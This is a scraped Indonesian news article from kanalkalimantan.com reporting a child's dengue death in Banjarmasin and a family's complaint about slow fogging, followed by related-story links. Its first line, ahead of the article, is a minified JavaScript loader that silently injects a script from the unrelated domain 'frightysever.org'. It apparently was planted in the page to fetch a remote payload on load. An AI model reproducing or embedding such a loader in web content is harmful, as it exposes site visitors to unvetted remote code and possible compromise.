(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Penyakit Demam Berdarah Dengue (DPB) mengintai warga Banjarmasin. Teranyar dikabarkan ada kasus serangan DBD yang tersebar melalui gigitan nyamuk aedes aegypti meninggal dunia.
Itu dialami keluarga Suriansyah yang harus kehilangan cucunya meninggal dunia akibat positif DBD.
Anak lelaki bernama Khairil umur 12 tahun, warga Gang Cahaya Pemurus Luar RT 21, Banjarmasin Timur, Kota Banjarmasin itu meninggal dunia pada awal Mei 2023 lalu karena positif DBD.
“Yang kena DBD itu cucuku, meninggal dunia” kata Suriansyah, Ketua LSM Pembela Kesatuan Tanah Air Indonesia Bersatu (Pekat-IB) Kota Banjarmasin kepada kanalkalimantan.com, Kamis (18/5/2023) siang.
Baca juga: Tak Lanjut di Eropa, Bagus Kahfi Pilih Kembali ke Barito Putera
Sementara itu, dua orang anaknya bernama Rahmiah (25) dan Helda (24) juga harus dirawat di Rumah Sakit Umum Daeraj Ulin Banjarmasin karena dinyatakan positif DBD akibat gigitan vektor penyebab nyamuk tersebut.
Dikatannya, untuk anaknya Rahmiah sempat dirawat di IGD sekitar enam jam dan akhirnya dibolehkan pulang ke rumah karena sudah dinyatakan sehat.
Sedangkan anaknya bernama Helda hingga saat ini masih dirawat di RSUD Ulin Banjarmasin karena kondisinya belum pulih.
“Kalau Helda umur 24 tahun keadaanya sangat lemah rawat inap sampai sekarang,” ujarnya.
Masih kata Ketua LSM Pekat-IB ini menyayangkan lambatnya penanganan instansi kesehatan setempat setelah dirinya melaporkan kasus DBD yang menimpa keluarganya.
Padahal dirinya berharap Puskesmas atau Dinas Kesehatan dapat melakukan fogging (pengasapan) di wilayahnya agar kasus DBD bisa dicegah dan tidak menyebar ke warga lain.
“Kalau menerima laporan dari masyarakat tentang DBD cepat ambil tindakan jangan nunggu surat dari rumah sakit. Kalau perlu mereka yang jemput bola hubungi rumah sakit yang menangani korban kalau memang itu persyaratan fogging,” ujarnya.
Baca juga: Sidang Korupsi Mantan Bupati HST, Catatan Saldo Rekening Tiga Bank Diungkap
Dirinya bersama warga gang Cahaya, Pemurus Luar, Kecamatan Banjarmasin Timur meminta petugas kesehatan dapat melakukan tindakan pencegahan dengan rutin melakukan fogging.
“Kalau perlu adakan fogging setengah bulan sekali,” harap Suriansyah. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.